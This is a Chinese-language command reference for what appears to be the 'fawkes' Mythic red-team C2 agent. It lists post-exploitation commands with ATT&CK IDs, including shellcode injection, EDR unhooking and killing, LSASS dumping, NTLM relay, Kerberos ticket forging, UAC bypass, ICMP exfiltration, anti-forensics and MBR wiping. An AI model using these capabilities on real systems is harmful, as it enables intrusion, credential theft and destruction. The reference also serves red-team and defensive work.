logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows、Linux、macOS)** 枚举活动登录会话——用户、会话ID、工作站、连接状态。按用户名过滤。Windows:WTS API。Linux:utmp解析。macOS:utmpx解析。
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows、Linux、macOS)** LOLBin/GTFOBin代理执行。Windows:rundll32、msiexec、regsvcs、regasm、mshta、certutil、regsvr32、installutil、vbs。跨平台:python、lua、perl、ruby、node、awk。Linux:curl、wget、gcc。macOS:osascript、swift、open、curl。T1218/T1059。
ls | `ls [path]` | 列出文件和文件夹,包含所有者/组和时间戳。文件浏览器集成。默认为当前工作目录。
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(仅Windows)** 从凭据创建令牌:模拟它、生成进程或**auto-verify**(模拟然后whoami + getprivs链)(T1134.002)。
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | 文件伪装和隐藏——伪装文件(双扩展名、RtLO、空格、进程匹配)或隐藏不被枚举(隐藏/取消隐藏)。Windows:+H/+S属性。Linux:点前缀。macOS:UF_HIDDEN + 点前缀 (T1036, T1564.001)。
mkdir | `mkdir <directory>` | 创建新目录(如需要会创建父目录)。
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(仅Windows)** 通过覆写合法DLL的.text节来注入shellcode。Shellcode从已签名DLL的地址空间执行,绕过私有内存检测 (T1055.001)。
modules | `modules [-pid <PID>] [-filter <name>]` | 列出进程中的已加载模块/DLL/库,可选择性名过滤。跨平台 (T1057)。
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | 在进程内存中搜索字节模式并输出十六进制转储。Windows:VirtualQueryEx/ReadProcessMemory。Linux:/proc/pid/maps+mem。macOS:mach_vm_region/mach_vm_read(仅自扫描)。支持字符串和十六进制模式。跨平台 (T1005, T1057)。
mount | `mount [-filter <substring>] [-fstype <type>]` | 列出已挂载的文件系统,包含设备、挂载点、类型和选项。支持按名称或文件系统类型过滤。跨平台 (T1082)。
mv | `mv <source> <destination>` | 将文件从源移动或重命名为目标。
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows、Linux、macOS)** 列出命名管道(Windows)、Unix域套接字和FIFO(Linux/macOS)以发现IPC。支持子字符串过滤 (T1083)。
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows、Linux、macOS)** 跨平台网络枚举。用户、组、组成员、管理员、会话、共享。Windows:Win32 NetAPI(域查询、映射驱动器)。Linux:/etc/passwd + /etc/group + utmp + NFS/Samba。macOS:dscl + who + sharing。(T1033, T1049, T1087, T1135)。
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | 通过LDAP枚举AD组成员身份。递归成员解析、用户组查找、特权组枚举。跨平台 (T1069.002)。
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | 管理本地用户账户和组成员身份。Windows:netapi32 API。Linux:useradd/userdel/usermod/chpasswd。macOS:dscl/dseditgroup。禁用/启用/锁定用于T1531勒索软件模拟。跨平台 (T1136.001, T1098, T1531)。
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | 列出活动网络连接和监听端口,包含协议、状态、PID和进程名称。支持按状态、协议、端口和进程ID过滤。跨平台。
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(仅Windows)** 通过从干净副本恢复.text节来移除DLL中的EDR内联钩子。支持5个DLL或`all`。`check`报告钩子而不修改。`knowndlls`源使用\\KnownDlls\\节对象(避免磁盘I/O——更有利于OPSEC)(T1562.001)。
syscalls | `syscalls [-action status\|list\|init]` | **(仅Windows)** 间接系统调用解析器。解析ntdll导出以解析Nt*系统调用号,并生成跳转到ntdll的syscall;ret小工具的存根。激活时,注入命令绕过用户态API钩子 (T1106)。
opus-injection | `opus-injection` | **(仅Windows)** 基于回调的进程注入。变体1:Ctrl-C处理程序链。变体4:PEB KernelCallbackTable。[详情](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows、Linux、macOS)** 安装或移除持久化。Windows:注册表、启动文件夹、COM劫持、屏幕保护程序、IFEO、Winlogon、打印处理器、辅助功能、Active Setup、时间提供程序、端口监视器、WMI事件 (T1546.003)、netsh助手 (T1546.007)。Linux:crontab、systemd、shell配置文件、SSH密钥、XDG自动启动、motd(root, T1546)、rc-local(root, T1037.004)、apt钩子(root, T1546)、udev规则(root, T1546)。macOS:launchagent、periodic(root, T1053.003)、folder-action (T1546)、login-item (T1547.015)、auth-plugin(root, T1547.002)、dylib-hijack (T1574.004, 扫描/安装/移除)、xpc-service (MachServices + KeepAlive)。所有方法支持安装/移除/列出。
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows、Linux、macOS)** 只读枚举持久化机制。Windows:注册表、启动、任务、服务。Linux:cron、systemd、shell配置文件、SSH密钥、LD_PRELOAD、udev规则、内核模块、motd、at作业、D-Bus服务、PAM模块、包钩子、logrotate脚本、NetworkManager分发器、anacron。macOS:LaunchAgents、登录项、定期脚本、认证插件、emond、at作业 (T1547, T1546, T1053, T1543, T1556)。
password-managers | `password-managers [-depth <N>]` | 发现密码管理器数据库和配置文件——KeePass (.kdbx)、1Password、Bitwarden、LastPass、Dashlane、KeePassXC。跨平台 (T1555)。
poolparty-injection | `poolparty-injection` | **(仅Windows)** 使用滥用Windows线程池内部的PoolParty技术注入shellcode。支持所有8种变体。[详情](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` 或 `ping -action exfil-icmp -target <IP> -file <path>` | TCP连接主机可达性 (T1018) + 通过带有XOR编码和抖动的echo请求载荷进行ICMP数据外泄 (T1048.003, T1095)。
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(仅Windows)** 命名管道模拟用于权限提升。创建管道服务器,等待特权客户端连接,模拟令牌。需要SeImpersonatePrivilege (T1134.001)。
printspoofer | `printspoofer [-timeout 15]` | **(仅Windows)** PrintSpoofer权限提升——通过打印后台处理程序从SeImpersonate到SYSTEM。创建命名管道,通过OpenPrinterW触发后台处理程序连接,模拟SYSTEM令牌。一步完成NETWORK SERVICE → SYSTEM (T1134.001)。
pkg-list | `pkg-list [-filter <substring>]` | 列出已安装的包和软件。枚举dpkg/rpm/apk(Linux)、Homebrew/应用程序(macOS)或注册表卸载键(Windows)。支持名称过滤。跨平台 (T1518)。
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | TCP连接扫描用于网络服务发现。支持CIDR、IP范围和端口范围。跨平台。
powershell | `powershell <command> [--encoded]` | **(仅Windows)** 通过powershell.exe执行PowerShell命令,使用OPSEC强化标志(缩写、随机化)。支持编码命令模式以隐藏参数不被进程树看到。
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(仅Windows)** 解析和管理Windows Prefetch文件。列出已执行的程序、解析运行历史(最多8个时间戳)、删除特定条目或清除所有。支持MAM压缩文件 (T1070.004)。
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | 权限提升枚举和利用。`auto-escalate`:自动化子任务链——枚举所有向量,然后尝试最佳可用提升(UAC绕过、令牌窃取或sudo)。`hijack-execute`:自动化代理DLL工厂——读取目标DLL导出,服务器编译带有嵌入shellcode的代理DLL(mingw)。`hijack-deploy`:部署代理DLL(重命名原始DLL,放置代理)。`hijack-trigger`:触发劫持——重启服务 (`-trigger restart -service_name <svc>`) 或生成进程 (`-trigger spawn -source <exe>`) 以加载代理DLL。`hijack-cleanup`:撤销已部署的劫持(删除代理,恢复原始)。Windows:令牌权限、未引用服务、AlwaysInstallElevated、自动登录、UAC、无人值守文件、DLL劫持扫描(幻影DLL、可写PATH、KnownDLLs)、带时间戳的DLL植入、DLL侧加载、PE导出枚举(dll-exports含DEF文件生成)、服务注册表权限滥用。Linux:SUID/SGID、能力、sudo、容器、cron劫持、NFS no_root_squash、systemd单元、sudo令牌、PATH劫持、docker组、危险组、Polkit规则、modprobe钩子、ld.so.preload注入、安全模块(AppArmor/SELinux)。macOS:LaunchDaemons、TCC、dylib劫持、SIP。跨平台 (T1548, T1574.001, T1574.002, T1574.009, T1574.011)。
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` 或 `psexec -action check -host <target>` | **(仅Windows)** 通过SCM服务创建在远程主机上执行命令——PSExec风格横向移动。`check`验证先决条件(SMB 445、SCM访问、管理员共享)而不执行。MITRE T1021.002, T1569.002。
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(仅Linux)** 深度/proc检查:进程详细信息(命令行、环境、能力、cgroup、命名空间、文件描述符)、带PID解析的网络连接、挂载、内核模块。MITRE T1057。
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(仅Windows)** 查询或设置进程缓解策略(DEP、ASLR、CIG、ACG、CFG)。设置CIG以阻止未签名DLL加载(EDR防御)。MITRE T1480。
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | 以树形显示进程层次结构,包含父子关系。有助于识别注入目标和安全工具。跨平台 (T1057)。
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | 转储进程内存。Windows:带LSASS自动发现的MiniDumpWriteDump。Linux:/proc/pid/mem区域转储。搜索动作查找持有凭据的进程。上传到Mythic并从磁盘清理。MITRE T1003.001, T1003.007。
proxy-check | `proxy-check [-test_url <URL>]` | 从环境变量、操作系统配置(注册表、配置文件)和Go传输检测代理设置。可选连接测试。跨平台 (T1016)。
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | 列出正在运行的进程,集成Mythic进程浏览器。按名称、PID、父PID或用户名过滤。跨平台。
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(仅Linux,amd64/arm64)** 通过ptrace进行进程注入——PTRACE_ATTACH/POKETEXT/SETREGS并恢复寄存器和代码。Yama ptrace_scope预检查并提供可操作指导。检查模式报告ptrace_scope、能力和候选 (T1055.008)。
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** 通过Mythic的交互式任务启动交互式PTY shell会话。全终端模拟,支持双向I/O (T1059)。
pwd | `pwd` | 打印工作目录。
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(仅Windows)** 从DLL函数地址读取字节。
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(仅Windows)** 统一注册表操作——读取、写入、删除、搜索和保存配置单元 (T1012, T1112, T1003.002)。
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | 通过SMB命名管道上的WinReg RPC在远程Windows主机上读取/写入注册表。支持传递哈希。跨平台 (T1012, T1112, T1021.002)。
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | 通过SVCCTL RPC管理远程Windows主机上的服务。标准操作 + 高级横向移动:modify-path(劫持现有服务binpath)、trigger(创建触发启动服务)、dll-sideload(ServiceDll注册表劫持)。支持传递哈希。跨平台 (T1569.002, T1543.003, T1574.001)。
rev2self | `rev2self` | **(仅Windows)** 通过丢弃任何活动的模拟令牌恢复到原始安全上下文。
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | 显示系统路由表,支持可选过滤。Windows:GetIpForwardTable API,Linux:/proc/net/route + IPv6,macOS:netstat -rn。跨平台 (T1016)。
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | 端口转发:反向(Mythic路由到目标)或正向(代理中继到内部目标)。跨平台 (T1090)。
rm | `rm [-path <path>] [-secure true]` | 删除文件或目录。`-secure true`在删除前用随机数据覆盖(3次),防止取证恢复 (T1070.004)。
run | `run <command>` | 执行shell命令并返回输出。
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | 以不同用户身份执行命令。Windows:CreateProcessWithLogonW(支持 /netonly)。Linux/macOS:setuid为root,或使用密码的sudo -S。跨平台 (T1134.002)。
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | 管理计划任务。Windows:任务计划程序COM API。Linux:crontab、systemd定时器、at作业。macOS:LaunchAgents/LaunchDaemons、crontab、at。跨平台 (T1053)。
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | 捕获单个截图或按间隔连续截图。上传为PNG。record模式:可配置间隔/持续时间/最大帧数,可通过jobkill停止。Windows:GDI。macOS:screencapture。Linux:X11/Wayland自动检测。跨平台 (T1113)。
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | 搜索文件中的机密、API密钥、私钥、连接字符串和敏感模式。42个正则表达式模式(AWS、GitHub、Slack、Stripe、Vault、DigitalOcean、Shopify、Databricks、New Relic、PagerDuty、Okta、Sentry、Datadog、CircleCI等),带值编辑。深度限制的目录遍历,跳过噪声目录。跨平台 (T1552.001, T1005)。
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | 安全删除文件、擦除数据或破坏引导记录。`delete`:随机覆盖+删除。`wipe`:激进模式破坏 (T1485)。`wipe-mbr`:覆盖原始磁盘设备上的MBR/GPT引导记录 (T1561)。需要安全门。跨平台 (T1070.004, T1485, T1561)。
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | 报告安全态势和活动控制、检测EDR/XDR产品(20+供应商)、枚举minifilter驱动程序并分类EDR,或列出已加载的内核驱动程序并进行EDR/回调分析。SELinux/AppArmor/seccomp/ASLR(Linux)、SIP/Gatekeeper/FileVault(macOS)、Defender/UAC/Credential Guard/BitLocker(Windows)。跨平台 (T1082, T1518.001)。
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | 网络嗅探、投毒和NTLM中继。`capture`:被动凭据提取(HTTP、FTP、NTLM、Kerberos、LDAP、SMTP AUTH、Telnet)。`poison`:主动响应者带SMB+HTTP哈希捕获——NTLMv2哈希(hashcat模式5600)。`relay`:向目标SMB中继NTLM。`ldap-relay`:向目标LDAP中继NTLM并执行认证后操作(whoami、add-computer、RBCD、dump-laps)(T1040, T1557.001)。
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | 跨多个主机爬取SMB共享以查找敏感文件——凭据、配置、脚本。递归目录搜索,支持传递哈希。跨平台 (T1135, T1039)。
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | 在远程共享上的SMB2文件操作——列出、浏览、读取/写入/删除、推送(用于横向工具传输)、外泄(用于数据外泄)、污染(用于植入文件)。**share-perms**:测试所有共享的读/写访问。**share-spider**:递归目录列表,带深度/扩展名过滤。**share-search**:使用内置或自定义模式跨共享查找敏感文件。NTLM认证 + 传递哈希。跨平台 (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003)。
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows、Linux、macOS)** 管理服务 + 针对EDR/AV。`edr-enum`:检测已安装的安全服务(60+签名)。`edr-kill`:停止+禁用检测到的EDR(需要安全门)。Windows SCM、Linux systemd、macOS launchd (T1543, T1489, T1562.001)。
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | 设置或取消设置代理进程中的环境变量。跨平台。
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | 读取shell历史,列出/读取/注入/移除/清除shell配置文件。Linux/macOS:bashrc/zshrc。Windows:PowerShell配置文件 + PSReadLine历史。T1546.004/T1546.013/T1552.003/T1070.003。
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` 或 `sleep -interval 60 -jitter 30 -jitter_profile normal` | 设置回连间隔、抖动、工作时间和抖动分布模式(均匀/正态/指数)。正态分布集中在间隔附近;指数模拟突发性人类模式。
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | 启动、停止、查看统计或设置SOCKS5代理的带宽。支持TCP CONNECT和UDP ASSOCIATE (RFC 1928) 中继,用于通过代理的DNS/UDP工具。可选每连接带宽限制(KB/s)。统计显示活动连接、发送/接收字节、最近历史。
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | 对文件的行进行排序。支持字母、数字、反向和唯一模式。跨平台 (T1083)。
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(仅Windows)** 生成挂起的进程或线程以便注入。支持PPID欺骗 (T1134.004) 和非Microsoft DLL阻止。
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | 通过Kerberos预认证、LDAP绑定或SMB认证对AD进行密码喷洒。SMB支持传递哈希。锁定感知,可配置延迟/抖动。跨平台 (T1110.003, T1550.002)。
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | 执行命令、推送文件或创建SSH隧道。`check`验证SSH先决条件(端口、认证、shell)。tunnel-local (-L)、tunnel-remote (-R)、tunnel-dynamic (-D SOCKS5)。跨平台 (T1021.004, T1570, T1572)。
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(仅Linux/macOS)** 枚举SSH代理套接字并列出已加载的密钥。发现SSH_AUTH_SOCK,扫描/tmp/ssh-*、/run/user/*、GNOME密钥环。报告密钥指纹到凭据存储 (T1552.004)。
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | SSH密钥管理和横向移动自动化。读取/注入authorized_keys、读取私钥、生成密钥对、枚举SSH配置。横向移动:find-reachable(子网扫描)、try-keys(测试密钥)、auto-move(链式扫描→认证→执行)。Windows:PuTTY会话/注册表、.ppk密钥、WSL、OpenSSH、Git SSH配置。跨平台 (T1552.004, T1552.002, T1098.004, T1021.004, T1046)。
stat | `stat -path <file_or_dir>` | 显示文件/目录元数据:类型、大小、权限、时间戳。平台特定详情——inode/所有者(Linux/macOS)、文件属性(Windows)。通过Lstat感知符号链接。跨平台 (T1083)。
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | 从文件中提取可打印的ASCII字符串。在二进制文件中查找嵌入的文本、URL、凭据。模式过滤、最小长度控制、偏移/最大大小。跨平台 (T1005)。
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(仅Windows)** 初始化CLR v4或执行.NET程序集。`execute-assembly`动作自动修补AMSI+ETW并一步运行程序集(类似CS execute-assembly)。手动模式使用-amsi_patch/-etw_patch进行精细控制。
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(仅Linux)** 安装、移除或列出systemd服务/定时器持久化。用户或系统范围。MITRE T1543.002。
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(仅Windows)** 从另一个进程窃取令牌:模拟它,或用它生成进程 (T1134.002)。
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(仅Windows)** 命名令牌保管库——保存、列出、使用、移除和查看身份转换历史。无需重新窃取即可在窃取/创建的身份之间快速切换 (T1134.001)。
suspend | `suspend -action <suspend\|resume> -pid <PID>` | 暂停或恢复进程。在敏感操作期间战术性暂停EDR/AV。Windows:NtSuspendProcess/NtResumeProcess。Linux/macOS:SIGSTOP/SIGCONT。跨平台 (T1562.001)。
sysinfo | `sysinfo [-action info\|full-profile]` | 全面系统信息:操作系统版本、硬件、内存、运行时间、域、.NET(Windows)、SELinux/SIP状态。`full-profile`运行自动化的5步主机分析链(sysinfo → ps → security-info → privesc-check → persist-enum)。跨平台 (T1082)。
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(仅Windows)** 检测Sysmon安装并提取配置——服务/驱动程序状态、哈希算法、选项标志、规则数据大小、事件通道。通过minifilter海拔检测重命名安装 (T1518.001, T1562.001)。
tac | `tac -path <file>` | 反向打印文件行。适用于从最新到最旧查看日志。跨平台 (T1083)。
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | 读取文件的前N行/字节或后N行/字节,无需传输全部内容。环形缓冲区实现高效tail,大文件反向查找。跨平台 (T1005, T1083)。
tcc-check | `tcc-check [-service <filter>]` | **(仅macOS)** 枚举TCC(透明、同意和控制)权限。发现哪些应用拥有相机、麦克风、屏幕录制、完全磁盘访问权限。按服务分组并显示允许摘要 (T1082)。
touch | `touch -path <file> [-mkdir true]` | 创建空文件或更新现有文件的时间戳。可选创建父目录。跨平台 (T1106)。
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows、macOS)** 通过线程执行劫持注入shellcode——挂起现有线程,将PC/RIP重定向到shellcode,恢复。macOS使用Mach API (task_for_pid + thread_get/set_state),需要root (T1055.003)。
threadless-inject | `threadless-inject` | **(仅Windows)** 通过在远程进程中挂钩DLL函数来使用无线程注入注入shellcode。比普通注入更隐蔽,因为它不创建新线程。
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | 伪造、请求、续期、委派或证书认证Kerberos票据。Forge:金票/银票(离线)。Request:Overpass-the-Hash(在线)。Diamond:真实AS交换+票据修改以逃避检测。Renew:延长TGT生命周期。S4U:通过S4U2Self+S4U2Proxy进行约束委派。PKINIT:基于证书的认证(来自ADCS/影子凭据)。跨平台 (T1558.001, T1558.002, T1550.002, T1134.001, T1649)。
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | 转换、压缩或删除文件内容中的字符。支持字符类和范围。跨平台 (T1083)。
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | 查找高价值文件以便外泄——文档、凭据、配置、数据库 (.db/.sqlite)、脚本 (.py/.sh/.ps1)、归档 (.zip/.tar/.7z)、邮件文件 (.pst/.eml/.mbox)、最近修改的文件或自定义路径扫描。**recon-chain**:自动化子任务链——端口扫描 → SMB共享枚举 → 共享搜索 → 本地分类(需要目标、用户名/密码)。跨平台 (T1083, T1005)。
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | 通过LDAP枚举域/林信任,包含林拓扑、传递性分析、加密强度和攻击路径识别。跨平台 (T1482)。
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | 修改文件时间戳以融入环境。获取、从另一个文件复制、设置特定时间、匹配目录邻居(IQR)或在范围内随机。`clean-prefetch`删除指定可执行文件的Windows Prefetch文件。Windows还修改创建时间。
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(仅Windows)** RDP会话管理——列出、劫持、断开或注销会话。无需凭据即可接管会话 (T1563.002)。
ts | `ts [-a] [-i PID]` | **(仅Windows)** 列出进程中的线程。默认只显示可提醒线程(Suspended/DelayExecution)。使用-a显示所有线程,-i按PID过滤 (T1057)。
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(仅Windows)** 绕过UAC从中等完整性提升到高完整性。8种技术:注册表劫持、环境变量劫持、INF文件滥用、COM CLSID劫持、模拟受信任目录。默认生成提权回调 (T1548.002, T1218.003)。
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | 过滤或统计文件中重复的连续行。计数模式按频率排序。跨平台 (T1083)。
unlink | `unlink -connection_id <uuid>` | 断开已连接的P2P代理(TCP或命名管道)。跨平台 (T1572)。
uptime | `uptime` | 显示系统运行时间、启动时间和平均负载。跨平台 (T1082)。
upload | `upload` | 通过分块文件传输将文件上传到目标。支持gzip文件的自动解压。SHA256哈希验证。
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(仅Windows)** 查询或删除NTFS USN更改日志——销毁文件操作历史以进行反取证 (T1070.004)。
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | 向远程进程注入shellcode (inject)、迁移代理(migrate: 注入+退出)或使用LD_PRELOAD .so生成新进程(ldpreload: 仅Linux,无需ptrace,绕过Yama)。**Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread。**Linux (amd64/arm64):** /proc/PID/mem直接写入,通过memfd进行LD_PRELOAD。T1055.001, T1055.009, T1574.006。
vm-detect | `vm-detect [-action detect\|sandbox]` | 检测VM/虚拟机管理程序环境或分析沙箱躲避。`detect`:MAC OUI、DMI/SMBIOS、VM工具、SCSI、CPU hypervisor标志。`sandbox`:评分分析——CPU数量、RAM、磁盘、运行时间、睡眠定时、主机名、进程数、用户名。跨平台 (T1497, T1497.001)。
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | 影响技术:VSS管理(Windows)、恢复抑制 (T1490)、关机/重启 (T1529, 跨平台)。破坏性动作需要 -confirm true。MITRE T1003.003, T1490, T1529。
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | 监控目录的文件系统更改——通过轮询检测新增、修改和删除的文件。支持通配符过滤和MD5哈希检测。跨平台 (T1083, T1119)。
wc | `wc -path <file_or_dir> [-pattern <glob>]` | 统计文件中的行数、单词数、字符数和字节数。目录模式支持通配符模式过滤和总计。跨平台 (T1083)。
wdigest | `wdigest -action <status\|enable\|disable>` | **(仅Windows)** 管理WDigest明文凭据缓存。启用后可在下次登录时捕获明文密码。MITRE T1003.001, T1112。
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` 或 `winrm -action check -host <target> [-username <user> -password <pass>]` | 通过WinRM配合NTLM认证在远程Windows主机上执行命令。支持传递哈希、cmd.exe和PowerShell。`check`验证WinRM先决条件(端口5985/5986、认证、shell)。跨平台 (T1021.006, T1550.002)。
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(仅Windows)** 枚举可见应用程序窗口——显示HWND、PID、进程名、窗口类和标题。搜索按标题/进程/类过滤。MITRE T1010。
who | `who [-all true]` | 显示当前登录的用户和活动会话。Linux:解析utmp。Windows:WTS API。macOS:who命令。跨平台 (T1033)。
whoami | `whoami` | 显示当前用户身份和安全上下文。Windows:用户名、SID、令牌类型、完整性级别、组成员身份、权限。Linux:用户、UID、GID、组、有效能力(解码)、SELinux/AppArmor上下文、容器检测。macOS:用户、UID、GID、组。
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(仅Windows)** 通过COM API执行WMI查询、进程创建、文件上传和暂存执行。upload:通过certutil/PowerShell暂存传输文件。exec-staged:上传然后执行并自动清理。`check`验证WMI先决条件(RPC 135、WMI连接)。MITRE T1047, T1570。
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(仅Windows)** 通过COM API实现WMI事件订阅持久化。支持CommandLine和ActiveScript (VBScript/JScript) 使用者。无文件,重启后持续存在。MITRE T1546.003。
